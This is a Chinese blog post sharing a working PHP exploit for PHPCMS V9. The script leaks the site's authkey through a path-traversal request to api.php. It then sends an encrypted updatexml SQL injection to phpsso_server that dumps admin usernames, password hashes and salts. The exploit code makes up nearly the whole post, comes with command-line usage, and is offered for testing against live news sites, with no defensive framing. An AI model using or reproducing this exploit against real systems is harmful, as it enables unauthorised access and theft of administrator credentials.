Menu

PHPCMS_V9之authkey注入漏洞

2015-06-25 - Phpcms, web安全, 漏洞预警

乌云上的某一个漏洞

PHPCMS最新版本authkey泄露可注射拿shell

但是他没有给出利用的方法,如何利用authkey

我有朋友写出了该漏洞的exp

比较鸡肋,成功率不高,不过还是分享给大家。

利用方式 :

首先你得有php的环境并且启动curl_init()函数

php phpcms_v9_exp.php url

随便找一个新闻源测试一下,如图:

phpcms_wmtv

php代码如下:

<?php

function sys_auth($string, $operation = ‘ENCODE’, $key = ”, $expiry = 0) {
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == ‘DECODE’ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ”;

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == ‘DECODE’ ? base64_decode(strtr(substr($string, $ckey_length), ‘-_’, ‘+/’)) : sprintf(‘%010d’, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = ”;
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == ‘DECODE’) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) – time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ”;
}
} else {
return $keyc.rtrim(strtr(base64_encode($result), ‘+/’, ‘-_’), ‘=’);
}
}

function step1($target)
{
$ch = curl_init();
$target = $target.’/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin’;
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
preg_match(‘/,(.*?),/’, $output,$result);
$authkey = $result[1];
return $authkey;
}

function step2($target,$authkey)
{
//注入出所有用户名和密码
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$return = ”;
for ($i=1; $i <=30*30 ; $i=$i+30) {
$code = urlencode(sys_auth(“username=1′ and 1=(updatexml(1,concat(0x7e,(select substr(group_concat(username,0x3a,password,0x3a,encrypt),{$i},30) from v9_admin),0x7e),1))#”, ‘ENCODE’, $authkey));
$target = $target.”/phpsso_server/index.php?m=phpsso&c=index&a=login&forward=&appid=1&data=”.$code;
curl_setopt($ch, CURLOPT_URL, $target);
$output = curl_exec($ch);
preg_match(‘/~(.*?)~/’, $output,$result);
if (isset($result[1])) {
$return .=$result[1];
if (strlen($result[1])<30) {
break;
}
}else{
break;
}
}
return $return;
// $authkey = $result[1];
// return $authkey;
}

$target = $argv[1];
$authkey = step1($target);
if (empty($authkey)) {
exit(‘Cant get authkey’);
}
echo ‘authkey is ‘.$authkey.”\r\n”;
$final = step2($target,$authkey);
echo $final.”\r\n”;
?>